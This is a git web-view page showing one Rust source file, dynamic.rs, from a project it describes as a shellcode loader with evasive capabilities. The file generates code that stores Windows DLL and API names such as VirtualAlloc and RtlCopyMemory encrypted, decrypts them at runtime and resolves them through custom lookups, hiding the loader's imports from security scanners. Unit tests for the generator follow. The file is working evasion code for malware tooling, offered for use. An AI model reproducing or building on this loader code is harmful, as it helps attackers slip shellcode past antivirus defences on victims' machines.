myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

dynamic.rs (6685B)

      1 use super::encryption::*;
      2 use super::helpers::*;
      3 
      4 pub struct DynamicResolverBuilder {
      5     dll_name: String,
      6     function_name: String,
      7     var_name: String,
      8     const_name: String,
      9     dll_array: String,
     10     fn_array: String,
     11     decrypt_fn: String,
     12     expect_clause: String,
     13     key_const_name: String,
     14 }
     15 
     16 impl DynamicResolverBuilder {
     17     pub fn new(
     18         dll_name: &str,
     19         function_name: &str,
     20         encryption_type: &str,
     21         var_name: &str,
     22         key_const_name: &str,
     23         encrypted_dll: &[u8],
     24         encrypted_fn: &[u8],
     25     ) -> Result<Self, String> {
     26         Ok(Self {
     27             dll_name: dll_name.to_string(),
     28             function_name: function_name.to_string(),
     29             var_name: var_name.to_string(),
     30             const_name: var_name.to_uppercase(),
     31             dll_array: format_bytes_as_hex(encrypted_dll),
     32             fn_array: format_bytes_as_hex(encrypted_fn),
     33             decrypt_fn: get_decrypt_function(encryption_type)?.to_string(),
     34             expect_clause: get_expect_clause(encryption_type).to_string(),
     35             key_const_name: key_const_name.to_string(),
     36         })
     37     }
     38 
     39     pub fn build(self) -> String {
     40         format!(
     41             r#"// Dynamic resolution of {function_name} from {dll_name}
     42         const ENCRYPTED_DLL_{const_name}: &[u8] = &{dll_array};
     43         const ENCRYPTED_FN_{const_name}: &[u8] = &{fn_array};
     44         
     45         let decrypted_dll = {decrypt_fn}(ENCRYPTED_DLL_{const_name}, &{key_const_name}){expect_clause};
     46         let decrypted_fn = {decrypt_fn}(ENCRYPTED_FN_{const_name}, &{key_const_name}){expect_clause};
     47         
     48         let dll_name = std::str::from_utf8(&decrypted_dll).expect("Invalid UTF-8 in DLL name");
     49         let fn_name = std::str::from_utf8(&decrypted_fn).expect("Invalid UTF-8 in function name");
     50         
     51         let module_base = internals::get_module_base(dll_name);
     52         if module_base.is_null() {{
     53             panic!("Failed to resolve module: {{}}", dll_name);
     54         }}
     55         
     56         let {var_name}_ptr = internals::get_function_address(module_base, fn_name);
     57         if {var_name}_ptr.is_null() {{
     58             panic!("Failed to resolve function: {{}}", fn_name);
     59         }}"#,
     60             function_name = self.function_name,
     61             dll_name = self.dll_name,
     62             const_name = self.const_name,
     63             dll_array = self.dll_array,
     64             fn_array = self.fn_array,
     65             decrypt_fn = self.decrypt_fn,
     66             expect_clause = self.expect_clause,
     67             key_const_name = self.key_const_name,
     68             var_name = self.var_name
     69         )
     70     }
     71 }
     72 
     73 pub fn generate_dynamic_function_resolver(
     74     dll_name: &str,
     75     function_name: &str,
     76     encryption_type: &str,
     77     var_name: &str,
     78     key_const_name: &str,
     79     encrypted_dll: &[u8],
     80     encrypted_fn: &[u8],
     81 ) -> Result<String, String> {
     82     let builder = DynamicResolverBuilder::new(
     83         dll_name,
     84         function_name,
     85         encryption_type,
     86         var_name,
     87         key_const_name,
     88         encrypted_dll,
     89         encrypted_fn,
     90     )?;
     91     Ok(builder.build())
     92 }
     93 
     94 /// Generate a type declaration and cast for a dynamically resolved function
     95 pub fn generate_function_type_and_cast(var_name: &str, function_signature: &str) -> String {
     96     let type_name = to_upper_camel_case(var_name);
     97 
     98     format!(
     99         r#"type {type_name} = {signature};
    100         let {var_name}: {type_name} = std::mem::transmute({var_name}_ptr);"#,
    101         type_name = type_name,
    102         signature = function_signature,
    103         var_name = var_name
    104     )
    105 }
    106 
    107 #[cfg(test)]
    108 mod tests {
    109     use super::*;
    110 
    111     // Helper to create mock encrypted data for testing
    112     fn mock_encrypt_xor(data: &[u8]) -> Vec<u8> {
    113         // Simple XOR with a fixed key for testing
    114         let key = b"test_key";
    115         data.iter()
    116             .enumerate()
    117             .map(|(i, &b)| b ^ key[i % key.len()])
    118             .collect()
    119     }
    120 
    121     #[test]
    122     fn test_generate_dynamic_function_resolver_xor() {
    123         let dll_encrypted = mock_encrypt_xor(b"kernel32.dll");
    124         let fn_encrypted = mock_encrypt_xor(b"VirtualAlloc");
    125 
    126         let result = generate_dynamic_function_resolver(
    127             "kernel32.dll",
    128             "VirtualAlloc",
    129             "xor",
    130             "virtual_alloc",
    131             "DECRYPTION_KEY",
    132             &dll_encrypted,
    133             &fn_encrypted,
    134         );
    135 
    136         assert!(result.is_ok());
    137         let code = result.unwrap();
    138         // Encrypted mode - should have ENCRYPTED prefix and decryption
    139         assert!(code.contains("ENCRYPTED_DLL_VIRTUAL_ALLOC"));
    140         assert!(code.contains("ENCRYPTED_FN_VIRTUAL_ALLOC"));
    141         assert!(code.contains("decrypt_xor"));
    142         assert!(code.contains("internals::get_module_base"));
    143         assert!(code.contains("internals::get_function_address"));
    144         assert!(code.contains("virtual_alloc_ptr"));
    145     }
    146 
    147     #[test]
    148     fn test_generate_dynamic_function_resolver_aes() {
    149         let dll_encrypted = mock_encrypt_xor(b"ntdll.dll");
    150         let fn_encrypted = mock_encrypt_xor(b"RtlCopyMemory");
    151 
    152         let result = generate_dynamic_function_resolver(
    153             "ntdll.dll",
    154             "RtlCopyMemory",
    155             "aes",
    156             "rtl_copy_memory",
    157             "DECRYPTION_KEY",
    158             &dll_encrypted,
    159             &fn_encrypted,
    160         );
    161 
    162         assert!(result.is_ok());
    163         let code = result.unwrap();
    164         // Encrypted mode - should have ENCRYPTED prefix and decryption
    165         assert!(code.contains("ENCRYPTED_DLL_RTL_COPY_MEMORY"));
    166         assert!(code.contains("ENCRYPTED_FN_RTL_COPY_MEMORY"));
    167         assert!(code.contains("decrypt_aes"));
    168     }
    169 
    170     #[test]
    171     fn test_generate_function_type_and_cast() {
    172         let code = generate_function_type_and_cast(
    173             "virtual_alloc",
    174             "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, u32, u32) -> *mut std::ffi::c_void",
    175         );
    176 
    177         assert!(code.contains("type VirtualAllocFn ="));
    178         assert!(code.contains("let virtual_alloc: VirtualAllocFn"));
    179         assert!(code.contains("std::mem::transmute(virtual_alloc_ptr)"));
    180     }
    181 
    182     #[test]
    183     fn test_generate_dynamic_function_resolver_invalid_encryption() {
    184         let dll_encrypted = mock_encrypt_xor(b"kernel32.dll");
    185         let fn_encrypted = mock_encrypt_xor(b"VirtualAlloc");
    186 
    187         let result = generate_dynamic_function_resolver(
    188             "kernel32.dll",
    189             "VirtualAlloc",
    190             "invalid_type",
    191             "virtual_alloc",
    192             "DECRYPTION_KEY",
    193             &dll_encrypted,
    194             &fn_encrypted,
    195         );
    196 
    197         assert!(result.is_err());
    198         assert!(result.unwrap_err().contains("Unknown encryption type"));
    199     }
    200 }